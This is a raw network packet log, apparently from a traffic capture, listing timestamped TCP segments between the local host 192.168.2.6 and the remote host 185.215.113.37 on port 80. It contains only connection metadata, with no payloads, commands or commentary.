Oct 13, 2024 00:47:44.616178989 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.616184950 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.616220951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.616230011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.616254091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.616264105 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.616288900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.616300106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.616323948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.616332054 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.616359949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.616368055 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.616394997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.616403103 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.616430044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.616439104 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.616466045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.616471052 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.616508961 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.616719007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.616753101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.616766930 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.616787910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.616790056 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.616825104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.616832018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.616875887 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.636605024 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.636661053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.636692047 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.636718035 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.636724949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.636763096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.636774063 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.636774063 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.636774063 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.636800051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.636811018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.636835098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.636853933 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.636884928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.636905909 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.636970997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.636982918 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.637006044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.637020111 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.637058020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.637079954 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.637093067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.637109041 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.637135983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.637141943 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.637170076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.637175083 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.637234926 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.637358904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.637392998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.637413979 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.637427092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.637437105 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.637456894 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.637470961 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.637491941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.637495995 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.637526035 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.637535095 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.637559891 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.637576103 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.637609005 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.637619972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.637670040 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.637727976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.637763977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.637783051 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.637804985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.668217897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.668251038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.668263912 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.668279886 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.668313026 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.668318987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.668334961 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.668349028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.668361902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.668391943 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.668556929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.668572903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.668587923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.668610096 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.668648005 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.668689966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.668704987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.668720007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.668734074 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.668735981 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.668750048 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.668762922 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.668767929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.668782949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.668790102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.668807983 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.668839931 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.669039011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.669055939 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.669070005 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.669084072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.669090986 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.669099092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.669107914 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.669115067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.669130087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.669145107 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.669151068 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.669172049 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.669188023 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.669431925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.669447899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.669480085 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.669500113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.669500113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.669517040 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.669532061 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.669543982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.669548035 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.669559002 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.669564962 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.669574022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.669583082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.669594049 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.669600964 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.669609070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.669629097 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.669644117 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.669826031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.669841051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.669882059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.669962883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.669979095 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.669991970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670006037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670012951 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.670022011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670036077 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670038939 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.670051098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670063972 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.670066118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670080900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670089960 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.670095921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670109987 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670110941 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.670125961 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670137882 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.670166016 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.670527935 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670542955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670557976 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670572042 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670579910 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.670588970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670603991 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670612097 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670624971 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670641899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670656919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670655012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.670655012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.670655012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.670674086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670690060 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670702934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.670702934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.670706034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670715094 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.670722961 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670737982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670753002 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670754910 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.670772076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670774937 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.670788050 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670803070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.670804024 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.670823097 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.670830965 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.670847893 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.671446085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.671462059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.671474934 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.671497107 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.671504021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.671514034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.671514034 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.671530008 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.671545029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.671559095 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.671561003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.671570063 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.671610117 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.704315901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.704368114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.704387903 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.704396009 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.704468012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.704476118 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.704508066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.704514980 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.704540968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.704552889 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.704575062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.704585075 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.704616070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.704736948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.704770088 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.704796076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.704807997 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.704860926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.704894066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.704914093 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.704926968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.704935074 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.704962015 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.704968929 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.704996109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.705003977 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.705043077 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.705044985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.705091000 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.705209970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.705241919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.705276012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.705281019 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.705296993 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.705308914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.705321074 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.705343008 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.705351114 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.705375910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.705384016 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.705410957 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.705416918 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.705452919 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.726619005 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.726680994 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.726691008 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.726726055 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.726738930 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.726771116 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.726821899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.726855993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.726872921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.726887941 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.726916075 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.726922035 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.726941109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.726963043 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.727209091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.727241993 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.727264881 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.727274895 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.727283955 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.727308035 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.727317095 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.727341890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.727349997 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.727375031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.727401018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.727444887 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.727449894 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.727483034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.727493048 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.727518082 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.727521896 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.727559090 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.727683067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.727715015 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.727746010 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.727750063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.727756977 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.727783918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.727796078 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.727827072 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.757128954 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.757184029 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.757208109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.757215977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.757273912 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.757273912 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.757320881 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.757354021 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.757364035 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.757389069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.757421970 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.757424116 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.757436037 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.757458925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.757458925 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.757493019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.757499933 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.757533073 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.757534027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.757566929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.757575989 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.757600069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.757608891 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.757636070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.757642031 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.757677078 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.757759094 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.757791996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.757801056 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.757826090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.757831097 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.757860899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.757868052 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.757896900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.757906914 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.757945061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.758016109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.758060932 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.758064985 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.758100033 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.758111000 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.758127928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.758143902 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.758162022 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.758167982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.758196115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.758204937 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.758240938 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:44.758372068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:44.758404970 CEST	80	49711	185.215.113.37	192.168.2.6
